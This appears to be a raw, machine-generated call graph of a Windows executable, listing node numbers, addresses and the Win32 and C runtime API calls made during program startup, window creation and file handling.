API calls _fast_error_exit 50246->50399 50289 44c499 50247->50289 50250 44bf78 50251 44bf83 50250->50251 50400 44be74 34 API calls _fast_error_exit 50250->50400 50307 4505a6 50251->50307 50255 44bf9c 50324 4536f2 50255->50324 50262 44bfb6 50263 44bfc1 50262->50263 50402 44be4f 34 API calls _fast_error_exit 50262->50402 50367 4532bf 50263->50367 50267 44bfd2 50377 44ae57 50267->50377 50271 44bfe9 GetStartupInfoW 50273 44bffb 50271->50273 50275 44c00d GetModuleHandleA 50273->50275 50274 44bfe8 50274->50271 50381 401852 50275->50381 50278 44c02b 50405 44afa6 34 API calls __startOneArgErrorHandling 50278->50405 50281 44c030 __lock 50283 44e0c7 50282->50283 50284 44e09d 50282->50284 50283->50246 50285 44e0ca 50284->50285 50406 44e0ce RtlAllocateHeap 50284->50406 50285->50246 50287 44e0b6 50287->50285 50288 44e0bb HeapDestroy 50287->50288 50288->50283 50407 44c588 GetProcAddress __lock 50289->50407 50291 44c49e 50292 44c4a2 50291->50292 50295 44c4aa 50291->50295 50408 44c282 37 API calls ___free_lc_time 50292->50408 50294 44c4a7 50294->50250 50296 44c4bd GetProcAddress GetProcAddress GetProcAddress GetProcAddress 50295->50296 50297 44c528 FlsAlloc 50295->50297 50296->50297 50298 44c500 50296->50298 50299 44c53d 50297->50299 50300 44c57e 50297->50300 50298->50297 50409 4504cf 34 API calls 2 library calls 50299->50409 50410 44c282 37 API calls ___free_lc_time 50300->50410 50303 44c54b 50303->50300 50305 44c553 FlsSetValue 50303->50305 50304 44c583 50304->50250 50305->50300 50306 44c564 GetCurrentThreadId 50305->50306 50306->50304 50411 449adf 50307->50411 50309 44bf91 50309->50255 50401 44be4f 34 API calls _fast_error_exit 50309->50401 50311 4505fb GetStartupInfoA 50317 4506fe 50311->50317 50318 450615 50311->50318 50312 45078e SetHandleCount 50312->50309 50313 45072d GetStdHandle 50314 45073b GetFileType 50313->50314 50313->50317 50314->50317 50315 450686 50315->50317 50319 4506ac GetFileType 50315->50319 50322 4506b7 50315->50322 50316 449adf __getbuf 34 API calls 50316->50318 50317->50312 50317->50313 50323 450752 50317->50323 50318->50315 50318->50316 50318->50317 50319->50315 50319->50322 50322->50309 50322->50315 50414 454432 GetProcAddress __lock 50322->50414 50323->50309 50323->50317 50415 454432 GetProcAddress __lock 50323->50415 50325 453705 GetCommandLineW 50324->50325 50326 453732 50324->50326 50327 453717 GetLastError 50325->50327 50328 45370b 50325->50328 50329 453737 GetCommandLineW 50326->50329 50330 453722 50326->50330 50327->50330 50333 44bfa2 50327->50333 50328->50329 50329->50333 50331 453740 GetCommandLineA MultiByteToWideChar 50330->50331 50330->50333 50332 453760 50331->50332 50331->50333 50334 449adf __getbuf 34 API calls 50332->50334 50339 453588 50333->50339 50335 453769 50334->50335 50335->50333 50336 453770 MultiByteToWideChar 50335->50336 50336->50333 50337 45377f 50336->50337 50416 449c88 50337->50416 50340 4535a3 GetEnvironmentStringsW 50339->50340 50344 4535c2 50339->50344 50341 4535b7 GetLastError 50340->50341 50342 4535ab 50340->50342 50341->50344 50346 4535e9 50342->50346 50347 4535da GetEnvironmentStringsW 50342->50347 50343 45362e 50345 453637 GetEnvironmentStrings 50343->50345 50348 44bfac 50343->50348 50344->50342 50344->50343 50345->50348 50353 453643 _strlen 50345->50353 50349 449adf __getbuf 34 API calls 50346->50349 50347->50346 50347->50348 50363 4534f2 GetModuleFileNameW 50348->50363 50358 45360a 50349->50358 50350 45366d 50352 449adf __getbuf 34 API calls 50350->50352 50351 45364a MultiByteToWideChar 50351->50348 50351->50353 50362 45367b _strlen 50352->50362 50353->50350 50353->50351 50354 4536e6 FreeEnvironmentStringsA 50354->50348 50355 453613 FreeEnvironmentStringsW 50355->50348 50356 4536c7 FreeEnvironmentStringsA 50356->50348 50357 45368d MultiByteToWideChar 50359 4536dc 50357->50359 50357->50362 50358->50355 50360 449c88 ___free_lc_time 34 API calls 50359->50360 50361 4536e5 50360->50361 50361->50354 50362->50354 50362->50356 50362->50357 50364 453524 50363->50364 50365 449adf __getbuf 34 API calls 50364->50365 50366 45354f 50365->50366 50366->50262 50368 4532d8 50367->50368 50372 44bfc7 50367->50372 50369 449adf __getbuf 34 API calls 50368->50369 50375 453300 50369->50375 50370 45334e 50371 449c88 ___free_lc_time 34 API calls 50370->50371 50371->50372 50372->50267 50403 44be4f 34 API calls _fast_error_exit 50372->50403 50373 449adf __getbuf 34 API calls 50373->50375 50374 453373 50376 449c88 ___free_lc_time 34 API calls 50374->50376 50375->50370 50375->50372 50375->50373 50375->50374 50376->50372 50379 44ae60 50377->50379 50380 44ae9c 50379->50380 50428 449646 38 API calls 50379->50428 50380->50271 50404 44be4f 34 API calls _fast_error_exit 50380->50404 50429 401904 50381->50429 50384 401890 50433 44917e 50384->50433 50387 4018a1 50438 412124 50387->50438 50391 4018c1 50454 40109d GetCurrentDirectoryW 50391->50454 50395 4018d2 50395->50278 50396 44af84 50395->50396 51224 44aec1 50396->51224 50398 44af91 50398->50278 50399->50247 50400->50251 50401->50255 50402->50263 50403->50267 50404->50274 50405->50281 50406->50287 50407->50291 50408->50294 50409->50303 50410->50304 50412 449ab3 __getbuf 34 API calls 50411->50412 50413 449aee 50412->50413 50413->50309 50413->50311 50414->50322 50415->50323 50418 449c94 __lock 50416->50418 50417 449cf3 __lock 50417->50333 50418->50417 50420 44c6db __lock 33 API calls 50418->50420 50425 449cd0 50418->50425 50419 449ce5 RtlFreeHeap 50419->50417 50422 449cab ___free_lc_time 50420->50422 50421 449cc5 50427 449cdb RtlLeaveCriticalSection __lock 50421->50427 50422->50421 50426 44e141 VirtualFree VirtualFree HeapFree __shift 50422->50426 50425->50417 50425->50419 50426->50421 50427->50425 50428->50380 50430 401884 50429->50430 50431 40190a LoadLibraryA 50429->50431 50430->50384 50494 4018ee LoadLibraryA GetProcAddress 50430->50494 50431->50430 50432 40191b GetProcAddress 50431->50432 50432->50430 50434 44c6db __lock 34 API calls 50433->50434 50435 449186 50434->50435 50496 44c626 RtlLeaveCriticalSection 50435->50496 50437 44919c 50437->50387 50497 40ea76 GetVersionExW 50438->50497 50441 41214d SystemParametersInfoW SystemParametersInfoW 50442 4018b4 50441->50442 50443 401961 50442->50443 50444 40196e _fast_error_exit 50443->50444 50445 416d00 34 API calls 50444->50445 50453 401985 50445->50453 50446 401a32 50447 416bfe 34 API calls 50446->50447 50452 401afd 50446->50452 50449 401af2 50447->50449 50448 416bfe 34 API calls 50448->50453 50528 401b0d 34 API calls 50449->50528 50452->50391 50453->50446 50453->50448 50453->50452 50527 401b0d 34 API calls 50453->50527 50529 4013e2 50454->50529 50456 4010cb 50457 4010d3 50456->50457 50458 4010e6 50456->50458 50641 40fa56 34 API calls 50457->50641 50592 40fee1 50458->50592 50461 4010e4 50602 40feaf 50461->50602 50463 401110 GetFullPathNameW 50463->50461 50464 40126b SetCurrentDirectoryW 50467 401278 50464->50467 50495 412178 SystemParametersInfoW 50467->50495 50470 401180 50472 40123e 50470->50472 50622 41629f 50470->50622 50471 40115a 50473 401164 SetCurrentDirectoryW 50471->50473 50631 40127d GetSysColorBrush LoadCursorW LoadIconW LoadIconW 50472->50631 50473->50467 50478 40119c 50478->50472 50480 4011a4 GetModuleFileNameW 50478->50480 50479 401248 50481 401258 50479->50481 50644 4128c6 69 API calls 50479->50644 50482 401214 GetForegroundWindow ShellExecuteW 50480->50482 50483 4011be 50480->50483 50487 4200f5 329 API calls 50481->50487 50484 401101 50482->50484 50486 416bfe 34 API calls 50483->50486 50484->50464 50488 4011cc 50486->50488 50487->50484 50642 416ee1 34 API calls 50488->50642 50490 4011d9 50643 416ee1 34 API calls 50490->50643 50492 4011e4 GetForegroundWindow ShellExecuteW 50493 401211 50492->50493 50493->50484 50494->50384 50495->50395 50496->50437 50498 40eac0 50497->50498 50499 40ecfe GetCurrentProcess 50498->50499 50513 40edd4 50499->50513 50502 40ed44 50516 40ee00 50502->50516 50503 40ed86 GetSystemInfo 50507 40ed70 50503->50507 50506 40ed65 50506->50507 50511 40ed6b FreeLibrary 50506->50511 50508 40edc6 FreeLibrary 50507->50508 50509 40edcb 50507->50509 50508->50509 50509->50441 50509->50442 50511->50507 50523 40ee27 50513->50523 50517 40ed52 50516->50517 50518 40ee06 LoadLibraryA 50516->50518 50517->50506 50520 40edea 50517->50520 50518->50517 50519 40ee17 GetProcAddress 50518->50519 50519->50517 50521 40ee00 2 API calls 50520->50521 50522 40ed63 GetNativeSystemInfo 50521->50522 50522->50506 50524 40ed1a 50523->50524 50525 40ee2d LoadLibraryA 50523->50525 50524->50502 50524->50503 50525->50524 50526 40ee3e GetProcAddress 50525->50526 50526->50524 50527->50453 50528->50452 50530 416bde 34 API calls 50529->50530 50531 4013f3 GetModuleFileNameW 50530->50531 50645 418b0c 50531->50645 50534 416bfe 34 API calls 50535 401438 50534->50535 50536 416990 39 API calls 50535->50536 50537 401448 50536->50537 50538 418a14 VariantClear 50537->50538 50539 401452 50538->50539 50540 416bfe 34 API calls 50539->50540 50541 401463 50540->50541 50542 416990 39 API calls 50541->50542 50543 401472 50542->50543 50544 416bfe 34 API calls 50543->50544 50545 401487 50544->50545 50546 4169e0 CharUpperBuffW 50545->50546 50547 401494 50546->50547 50652 401b2f 50547->50652 50549 4014ab 50659 44907d 50549->50659 50552 4014d2 50554 44907d 62 API calls 50552->50554 50553 401b2f 34 API calls 50553->50552 50555 4014df 50554->50555 50556 4014f9 50555->50556 50557 401b2f 34 API calls 50555->50557 50558 44907d 62 API calls 50556->50558 50557->50556 50559 401506 50558->50559 50560 401548 50559->50560 50561 40150f GetModuleFileNameW 50559->50561 50563 44907d 62 API calls 50560->50563 50562 401b2f 34 API calls 50561->50562 50564 40152f 50562->50564 50565 401555 50563->50565 50672 416cee 34 API calls 50564->50672 50567 401b2f 34 API calls 50565->50567 50572 401585 50565->50572 50570 40156b 50567->50570 50568 4015a7 50573 419c9c 35 API calls 50568->50573 50569 40153a 50571 401b2f 34 API calls 50569->50571 50576 401b2f 34 API calls 50570->50576 50571->50560 50572->50568 50574 401b2f 34 API calls 50572->50574 50575 4015b9 50573->50575 50574->50568 50577 419d56 35 API calls 50575->50577 50576->50572 50578 4015cb 50577->50578 50579 419c9c 35 API calls 50578->50579 50580 4015d2 50579->50580 50666 419e5c 50580->50666 50583 418a14 VariantClear 50591 4015ec 50583->50591 50584 401629 50585 4183f6 ctype VariantClear 50584->50585 50586 401631 50585->50586 50586->50456 50587 419c9c 35 API calls 50587->50591 50588 419e5c 34 API calls 50588->50591 50589 418b0c 35 API calls 50589->50591 50590 401b2f 34 API calls 50590->50591 50591->50584 50591->50587 50591->50588 50591->50589 50591->50590 50593 40fef6 __lock 50592->50593 50594 414e6e 35 API calls 50593->50594 50598 4010fd 50593->50598 50595 40ff5e 50594->50595 50688 414e97 50595->50688 50597 40ff65 50695 40fb2e GetFullPathNameW 50597->50695 50598->50463 50598->50484 50600 40ff90 50705 410562 50600->50705 50603 40feb6 50602->50603 50605 401141 50602->50605 50604 449170 34 API calls 50603->50604 50604->50605 50606 41fea4 50605->50606 50607 449170 34 API calls 50606->50607 50616 41fecf 50607->50616 50608 41ff4e 51214 435b03 77 API calls 50608->51214 50611 41ff5b 50612 401156 50611->50612 51215 420499 79 API calls 50611->51215 50612->50470 50612->50471 50614 41ff64 50614->50612 50615 41ff6d GetFullPathNameW 50614->50615 50617 416d00 34 API calls 50615->50617 50616->50608 50616->50612 51213 42859b 77 API calls 50616->51213 50618 41ff99 50617->50618 50619 416d00 34 API calls 50618->50619 50620 41ffa8 50619->50620 50621 416d00 34 API calls 50620->50621 50621->50612 50623 4162aa 50622->50623 50624 4162ae OpenSCManagerW 50622->50624 50623->50478 50625 4162e9 50624->50625 50626 4162bf LockServiceDatabase 50624->50626 50625->50478 50627 4162d3 GetLastError 50626->50627 50628 4162ca UnlockServiceDatabase 50626->50628 50629 4162e0 50627->50629 50630 4162e2 CloseServiceHandle 50627->50630 50628->50629 50629->50630 50630->50625 50632 4012e9 LoadImageW 50631->50632 50633 4012cf 50631->50633 50635 4012ff RegisterClassExW 50632->50635 50633->50632 50634 4012d8 50633->50634 51216 416168 50634->51216 51220 404205 GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 50635->51220 50640 401371 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 50640->50479 50641->50461 50642->50490 50643->50492 50644->50481 50646 4183f6 ctype VariantClear 50645->50646 50647 418b13 50646->50647 50648 449170 34 API calls 50647->50648 50649 418b21 50648->50649 50650 416c4c 34 API calls 50649->50650 50651 401428 50649->50651 50650->50651 50651->50534 50653 401b48 50652->50653 50654 401b39 50652->50654 50673 416cee 34 API calls 50653->50673 50655 416d00 34 API calls 50654->50655 50656 401b44 50655->50656 50656->50549 50658 401b5a 50658->50549 50674 44c2b2 GetLastError FlsGetValue 50659->50674 50661 449086 50665 449099 50661->50665 50684 44c23e 34 API calls 2 library calls 50661->50684 50663 44b526 62 API calls 50663->50665 50664 4014b8 50664->50552 50664->50553 50665->50663 50665->50664 50667 419e63 50666->50667 50668 449170 34 API calls 50667->50668 50670 4015e2 50667->50670 50669 419e89 50668->50669 50669->50670 50687 418198 34 API calls 50669->50687 50670->50583 50672->50569 50673->50658 50675 44c317 SetLastError 50674->50675 50676 44c2ce 50674->50676 50675->50661 50685 4504cf 34 API calls 2 library calls 50676->50685 50678 44c2da 50679 44c2e2 FlsSetValue 50678->50679 50680 44c30f 50678->50680 50679->50680 50681 44c2f3 GetCurrentThreadId 50679->50681 50686 44be4f 34 API calls _fast_error_exit 50680->50686 50681->50675 50683 44c316 50683->50675 50684->50665 50685->50678 50686->50683 50687->50670 50737 449154 50688->50737 50690 414eb2 SHGetMalloc 50691 414ed3 SHGetDesktopFolder 50690->50691 50693 414ec2 50690->50693 50692 414ee1 50691->50692 50691->50693 50692->50693 50694 414f03 SHGetPathFromIDListW 50692->50694 50693->50597 50694->50693 50696 40fb59 50695->50696 50697 40fb7f 50695->50697 50696->50697 50701 44907d 62 API calls 50696->50701 50704 40fbae 50696->50704 50698 416034 34 API calls 50697->50698 50699 40fb8b 50698->50699 50739 403d50 34 API calls 50699->50739 50701->50696 50702 40fb9b 50740 403d50 34 API calls 50702->50740 50704->50600 50706 41056f _fast_error_exit 50705->50706 50741 442c1c 50706->50741 50709 410595 50711 4105f9 50709->50711 50712 41059a 50709->50712 50710 4105b9 50759 443162 50710->50759 50809 414469 53 API calls 50711->50809 50808 40ffa0 112 API calls _fast_error_exit 50712->50808 50717 41060d 50730 4105b4 50717->50730 50718 443162 67 API calls 50720 4105e7 50718->50720 50721 410617 50720->50721 50722 4105eb 50720->50722 50735 410714 50721->50735 50796 410414 50721->50796 50810 40fe2c 62 API calls 50721->50810 50811 40fdf3 54 API calls 50721->50811 50812 40fdc4 54 API calls 50721->50812 50813 449d8c 54 API calls 50721->50813 50814 40fac3 34 API calls 50721->50814 50815 41073c 64 API calls 50721->50815 50816 40fa56 34 API calls 50721->50816 50722->50711 50723 4105f1 50722->50723 50724 44a855 46 API calls 50723->50724 50724->50711 50725 449c88 ___free_lc_time 34 API calls 50727 410722 50725->50727 50727->50730 50800 44a855 50727->50800 50730->50598 50735->50725 50738 44915c 50737->50738 50738->50690 50738->50738 50739->50702 50740->50704 50742 4168a2 36 API calls 50741->50742 50743 442c32 50742->50743 50744 4168a2 36 API calls 50743->50744 50745 442c3f _strcat 50744->50745 50817 442a91 50745->50817 50751 442cc1 50752 442cd2 50751->50752 50753 442cc9 50751->50753 50833 44a98f 50752->50833 50754 44a855 46 API calls 50753->50754 50756 410591 50754->50756 50756->50709 50756->50710 50757 442cdf 50841 44be0e 50757->50841 50760 4168a2 36 API calls 50759->50760 50761 44317a _strcat 50760->50761 50762 44a64b 45 API calls 50761->50762 50763 4431af 50762->50763 51102 4432ef 50763->51102 50766 44a98f 44 API calls 50767 4431de 50766->50767 50768 44a98f 44 API calls 50767->50768 50769 4431ec 50768->50769 50770 44a98f 44 API calls 50769->50770 50771 443205 50770->50771 50772 44a98f 44 API calls 50771->50772 50773 44321e 50772->50773 50774 44a64b 45 API calls 50773->50774 50775 443235 50774->50775 50776 449adf __getbuf 34 API calls 50775->50776 50777 44323f 50776->50777 50778 449adf __getbuf 34 API calls 50777->50778 50779 443248 50778->50779 50780 44a98f 44 API calls 50779->50780 50781 443256 50780->50781 51108 442e08 50781->51108 50783 44326c 50784 443291 50783->50784 50785 44327c 50783->50785 50787 443297 50784->50787 50788 4432d3 50784->50788 50786 449c88 ___free_lc_time 34 API calls 50785->50786 50790 443284 50786->50790 51112 441b62 50787->51112 50789 449c88 ___free_lc_time 34 API calls 50788->50789 50792 4105ce 50789->50792 50791 449c88 ___free_lc_time 34 API calls 50790->50791 50791->50792 50792->50718 50792->50721 50795 449c88 ___free_lc_time 34 API calls 50795->50792 50798 410421 _fast_error_exit 50796->50798 50797 410433 50797->50721 50798->50797 51155 41684e 36 API calls _strlen 50798->51155 50801 44a861 __lock 50800->50801 50802 44b8fc 35 API calls 50801->50802 50804 44a86e __lock 50801->50804 50803 44a881 50802->50803 51156 44a809 50803->51156 50804->50730 50808->50730 50809->50717 50810->50721 50811->50721 50812->50721 50813->50721 50814->50721 50815->50721 50816->50721 50818 442a9e _strlen 50817->50818 50849 44220e 50818->50849 50821 44bc99 50870 44bc3d 50821->50870 50823 442caf 50823->50756 50824 442d0d 50823->50824 50826 442d1a _strcat _fast_error_exit 50824->50826 50825 44a98f 44 API calls 50825->50826 50826->50825 50827 44a64b 45 API calls 50826->50827 50828 442dc3 50826->50828 50832 442de3 50826->50832 50827->50826 50829 44a64b 45 API calls 50828->50829 50830 442dd1 50829->50830 50831 44a98f 44 API calls 50830->50831 50831->50832 50832->50751 50834 44a99b __lock 50833->50834 50961 44b8fc 50834->50961 50836 44a9a3 50967 44a8a6 50836->50967 50840 44a9c8 __lock 50840->50757 50842 44be1a __lock 50841->50842 50843 44b8fc 35 API calls 50842->50843 50844 44be22 50843->50844 51046 44bcac 50844->51046 50848 44be3c __lock 50848->50756 50850 442226 __lock _fast_error_exit 50849->50850 50852 4422b2 50850->50852 50853 44a129 50850->50853 50852->50821 50858 44eda8 50853->50858 50856 44a166 50856->50850 50859 44f527 50858->50859 50868 44edf4 __aulldvrm _strlen 50858->50868 50860 44c969 __startOneArgErrorHandling 34 API calls 50859->50860 50861 44a158 50860->50861 50861->50856 50869 44cbd4 43 API calls 2 library calls 50861->50869 50862 44ed1a 43 API calls _write_multi_char 50862->50868 50863 455332 35 API calls _write_multi_char 50863->50868 50864 449adf __getbuf 34 API calls 50864->50868 50865 449c88 ___free_lc_time 34 API calls 50865->50868 50866 44ed71 43 API calls 50866->50868 50867 44ed4d 43 API calls _write_multi_char 50867->50868 50868->50859 50868->50862 50868->50863 50868->50864 50868->50865 50868->50866 50868->50867 50869->50856 50871 44bc49 __lock 50870->50871 50881 44f6d3 50871->50881 50873 44bc4e 50874 44bc64 50873->50874 50875 44bc55 50873->50875 50901 452f60 50874->50901 50905 44d915 34 API calls __lock 50875->50905 50880 44bc5a __lock 50880->50823 50882 44f6df __lock 50881->50882 50883 44c6db __lock 34 API calls 50882->50883 50884 44f6ed 50883->50884 50885 44f75a 50884->50885 50886 44f75e 50884->50886 50893 44c63b __lock 34 API calls 50884->50893 50910 44b92b 35 API calls __lock 50884->50910 50911 44b97d RtlLeaveCriticalSection RtlLeaveCriticalSection __lock 50884->50911 50907 44f7ec 50885->50907 50888 449adf __getbuf 34 API calls 50886->50888 50889 44f768 50888->50889 50889->50885 50892 44f77e 50889->50892 50891 44f7e1 __lock 50891->50873 50912 454432 GetProcAddress __lock 50892->50912 50893->50884 50895 44f78c 50896 44f797 50895->50896 50897 44f7aa RtlEnterCriticalSection 50895->50897 50899 449c88 ___free_lc_time 34 API calls 50896->50899 50897->50885 50900 44f79f 50899->50900 50900->50885 50902 452f7f 50901->50902 50903 44bc77 50902->50903 50914 455e88 50902->50914 50906 44bc8f RtlLeaveCriticalSection RtlLeaveCriticalSection 50903->50906 50905->50880 50906->50880 50913 44c626 RtlLeaveCriticalSection 50907->50913 50909 44f7f3 50909->50891 50910->50884 50911->50884 50912->50895 50913->50909 50915 455e94 __lock 50914->50915 50920 455ba1 50915->50920 50919 455ec4 __lock 50919->50903 50923 455bbc 50920->50923 50921 455c28 50922 44d915 __lock 34 API calls 50921->50922 50924 455c2d 50922->50924 50923->50921 50926 455c42 50923->50926 50925 44d91e _write_multi_char 34 API calls 50924->50925 50944 455c38 50925->50944 50927 455cb5 50926->50927 50930 455c8c 50926->50930 50928 44d915 __lock 34 API calls 50927->50928 50929 455cba 50928->50929 50931 44d91e _write_multi_char 34 API calls 50929->50931 50932 4509a2 37 API calls 50930->50932 50931->50944 50933 455d3a 50932->50933 50934 455d43 50933->50934 50935 455d5d CreateFileA 50933->50935 50936 44d915 __lock 34 API calls 50934->50936 50937 455d9c GetLastError 50935->50937 50938 455d8a GetFileType 50935->50938 50939 455d48 50936->50939 50942 44d927 _write_multi_char 34 API calls 50937->50942 50940 455d95 CloseHandle 50938->50940 50941 455dab 50938->50941 50943 44d91e _write_multi_char 34 API calls 50939->50943 50940->50937 50945 4507a4 35 API calls 50941->50945 50942->50944 50943->50944 50960 455ecd RtlLeaveCriticalSection _write_multi_char 50944->50960 50946 455dc6 50945->50946 50946->50944 50947 44f7f5 _write_multi_char 36 API calls 50946->50947 50948 455e09 50947->50948 50949 455e14 50948->50949 50950 455e3d 50948->50950 50952 44d91e _write_multi_char 34 API calls 50949->50952 50951 44ff81 40 API calls 50950->50951 50953 455e4d 50951->50953 50954 455e19 50952->50954 50955 455e63 50953->50955 50958 45705f 43 API calls 50953->50958 50954->50944 50957 44fd57 37 API calls 50954->50957 50955->50954 50956 44f7f5 _write_multi_char 36 API calls 50955->50956 50956->50954 50959 455e82 50957->50959 50958->50955 50960->50919 50962 44b920 RtlEnterCriticalSection 50961->50962 50963 44b909 50961->50963 50962->50836 50963->50962 50964 44b910 50963->50964 50965 44c6db __lock 34 API calls 50964->50965 50966 44b91e 50965->50966 50966->50836 50968 44a8c3 50967->50968 50969 44a8ca 50967->50969 50972 44a9d1 50968->50972 50969->50968 50975 45015e 50969->50975 50993 44fea0 50969->50993 51039 44b94e 50972->51039 50974 44a9d9 50974->50840 50976 45016a __lock 50975->50976 50977 4501ed 50976->50977 50979 450195 50976->50979 51030 44d915 34 API calls __lock 50977->51030 50999 4508e0 50979->50999 50980 4501f2 51031 44d91e 34 API calls __lock 50980->51031 50983 45019b 50984 4501bd 50983->50984 50985 4501a9 50983->50985 51027 44d915 34 API calls __lock 50984->51027 51011 44ff81 50985->51011 50988 4501c2 51028 44d91e 34 API calls __lock 50988->51028 50989 4501dd __lock 50989->50969 50991 4501b5 51029 4501e5 RtlLeaveCriticalSection _write_multi_char 50991->51029 50994 44feb0 50993->50994 50998 44febc 50993->50998 50995 44fed9 50994->50995 50994->50998 51038 45492b 34 API calls __getbuf 50994->51038 50997 45015e 42 API calls 50995->50997 50997->50998 50998->50969 51000 4508ec __lock 50999->51000 51001 45094e RtlEnterCriticalSection 51000->51001 51003 44c6db __lock 34 API calls 51000->51003 51002 45096e __lock 51001->51002 51002->50983 51004 450914 51003->51004 51005 450945 51004->51005 51006 45091d 51004->51006 51033 450977 RtlLeaveCriticalSection __lock 51005->51033 51032 454432 GetProcAddress __lock 51006->51032 51009 45092b 51009->51005 51010 450931 __lock 51009->51010 51010->51002 51013 44ff9d 51011->51013 51020 450022 51011->51020 51012 44ffec ReadFile 51014 450005 GetLastError 51012->51014 51024 45003e 51012->51024 51013->51012 51013->51020 51015 450026 51014->51015 51016 450012 51014->51016 51015->51020 51036 44d927 34 API calls __lock 51015->51036 51034 44d915 34 API calls __lock 51016->51034 51018 450017 51035 44d91e 34 API calls __lock 51018->51035 51020->50991 51022 4500ba ReadFile 51023 4500d8 GetLastError 51022->51023 51025 4500e2 51022->51025 51023->51024 51023->51025 51024->51020 51024->51022 51025->51024 51037 455696 36 API calls 2 library calls 51025->51037 51027->50988 51028->50991 51029->50989 51030->50980 51031->50989 51032->51009 51033->51001 51034->51018 51035->51020 51036->51020 51037->51025 51038->50995 51040 44b972 RtlLeaveCriticalSection 51039->51040 51041 44b95b 51039->51041 51040->50974 51041->51040 51042 44b962 51041->51042 51045 44c626 RtlLeaveCriticalSection 51042->51045 51044 44b970 51044->50974 51045->51044 51047 44bcc5 51046->51047 51058 44f869 51047->51058 51049 44bcfe 51053 44f869 _write_multi_char 38 API calls 51049->51053 51056 44bce5 51049->51056 51050 44bcd1 51050->51049 51051 44bd3e 51050->51051 51050->51056 51076 44d915 34 API calls __lock 51051->51076 51054 44bd9d 51053->51054 51055 44f869 _write_multi_char 38 API calls 51054->51055 51054->51056 51055->51056 51057 44be45 RtlLeaveCriticalSection RtlLeaveCriticalSection 51056->51057 51057->50848 51059 44f875 __lock 51058->51059 51060 44f8f8 51059->51060 51062 44f8a0 51059->51062 51091 44d915 34 API calls __lock 51060->51091 51064 4508e0 _write_multi_char 35 API calls 51062->51064 51063 44f8fd 51092 44d91e 34 API calls __lock 51063->51092 51066 44f8a6 51064->51066 51067 44f8b4 51066->51067 51068 44f8c8 51066->51068 51077 44f7f5 51067->51077 51088 44d915 34 API calls __lock 51068->51088 51071 44f8cd 51089 44d91e 34 API calls __lock 51071->51089 51072 44f8c0 51090 44f8f0 RtlLeaveCriticalSection _write_multi_char 51072->51090 51074 44f8e8 __lock 51074->51050 51076->51056 51093 45089f 51077->51093 51079 44f800 51080 44f816 SetFilePointer 51079->51080 51081 44f806 51079->51081 51082 44f82f GetLastError 51080->51082 51085 44f837 51080->51085 51100 44d915 34 API calls __lock 51081->51100 51082->51085 51084 44f80b 51084->51072 51086 44f843 51085->51086 51101 44d927 34 API calls __lock 51085->51101 51086->51072 51088->51071 51089->51072 51090->51074 51091->51063 51092->51074 51094 4508ab 51093->51094 51095 44d915 __lock 34 API calls 51094->51095 51096 4508c6 51094->51096 51097 4508ce 51095->51097 51096->51079 51098 44d91e _write_multi_char 34 API calls 51097->51098 51099 4508d9 51098->51099 51099->51079 51100->51084 51101->51086 51103 443300 51102->51103 51104 4431c5 51103->51104 51105 44a98f 44 API calls 51103->51105 51106 442e08 GetSystemTimeAsFileTime 51103->51106 51107 44a64b 45 API calls 51103->51107 51104->50766 51104->50792 51105->51103 51106->51103 51107->51103 51110 442e29 51108->51110 51109 442e49 51109->50783 51110->51109 51143 442bd5 GetSystemTimeAsFileTime 51110->51143 51113 441b6d 51112->51113 51115 441b7b 51112->51115 51114 44bc99 63 API calls 51113->51114 51114->51115 51116 441bc0 51115->51116 51117 44bc99 63 API calls 51115->51117 51139 441b84 51115->51139 51144 441c83 44 API calls 51116->51144 51119 441ba1 51117->51119 51119->51116 51121 441baa 51119->51121 51120 441c02 51122 441c06 51120->51122 51123 441c27 51120->51123 51124 44a855 46 API calls 51121->51124 51121->51139 51126 441c13 51122->51126 51128 44a855 46 API calls 51122->51128 51145 441cfe 34 API calls __getbuf 51123->51145 51124->51139 51131 44a855 46 API calls 51126->51131 51126->51139 51127 441c2d 51129 441c53 51127->51129 51130 441c33 51127->51130 51128->51126 51146 441f08 49 API calls 51129->51146 51132 441c40 51130->51132 51135 44a855 46 API calls 51130->51135 51131->51139 51137 44a855 46 API calls 51132->51137 51132->51139 51134 441c5a 51147 441d54 51134->51147 51135->51132 51137->51139 51139->50795 51140 441c6e 51140->51139 51142 44a855 46 API calls 51140->51142 51141 44a855 46 API calls 51141->51140 51142->51139 51143->51110 51144->51120 51145->51127 51146->51134 51148 441d61 51147->51148 51149 441d67 51147->51149 51150 449c88 ___free_lc_time 34 API calls 51148->51150 51151 441d78 51149->51151 51152 449c88 ___free_lc_time 34 API calls 51149->51152 51150->51149 51153 441c61 51151->51153 51154 449c88 ___free_lc_time 34 API calls 51151->51154 51152->51151 51153->51140 51153->51141 51154->51153 51155->50797 51157 44a818 51156->51157 51164 44a835 51156->51164 51167 44b36d 51157->51167 51163 44a82e 51163->51164 51165 449c88 ___free_lc_time 34 API calls 51163->51165 51166 44a89e RtlLeaveCriticalSection RtlLeaveCriticalSection 51164->51166 51165->51164 51166->50804 51168 44b382 51167->51168 51170 44a81e 51167->51170 51168->51170 51191 44fcac 41 API calls 2 library calls 51168->51191 51171 44fe75 51170->51171 51172 44fe81 51171->51172 51173 44a826 51171->51173 51172->51173 51174 449c88 ___free_lc_time 34 API calls 51172->51174 51175 44fdda 51173->51175 51174->51173 51176 44fde6 __lock 51175->51176 51177 44fe59 51176->51177 51179 44fe11 51176->51179 51209 44d915 34 API calls __lock 51177->51209 51181 4508e0 _write_multi_char 35 API calls 51179->51181 51180 44fe5e 51210 44d91e 34 API calls __lock 51180->51210 51183 44fe17 51181->51183 51184 44fe25 51183->51184 51185 44fe31 51183->51185 51192 44fd57 51184->51192 51207 44d915 34 API calls __lock 51185->51207 51188 44fe2b 51208 44fe51 RtlLeaveCriticalSection _write_multi_char 51188->51208 51189 44fe49 __lock 51189->51163 51191->51170 51193 45089f _write_multi_char 34 API calls 51192->51193 51194 44fd63 51193->51194 51195 44fda5 51194->51195 51197 44fd83 51194->51197 51198 45089f _write_multi_char 34 API calls 51194->51198 51211 450820 35 API calls 2 library calls 51195->51211 51197->51195 51199 45089f _write_multi_char 34 API calls 51197->51199 51201 44fd7a 51198->51201 51202 44fd8f CloseHandle 51199->51202 51200 44fdad 51203 44fdcf 51200->51203 51212 44d927 34 API calls __lock 51200->51212 51204 45089f _write_multi_char 34 API calls 51201->51204 51202->51195 51205 44fd9b GetLastError 51202->51205 51203->51188 51204->51197 51205->51195 51207->51188 51208->51189 51209->51180 51210->51189 51211->51200 51212->51203 51213->50616 51214->50611 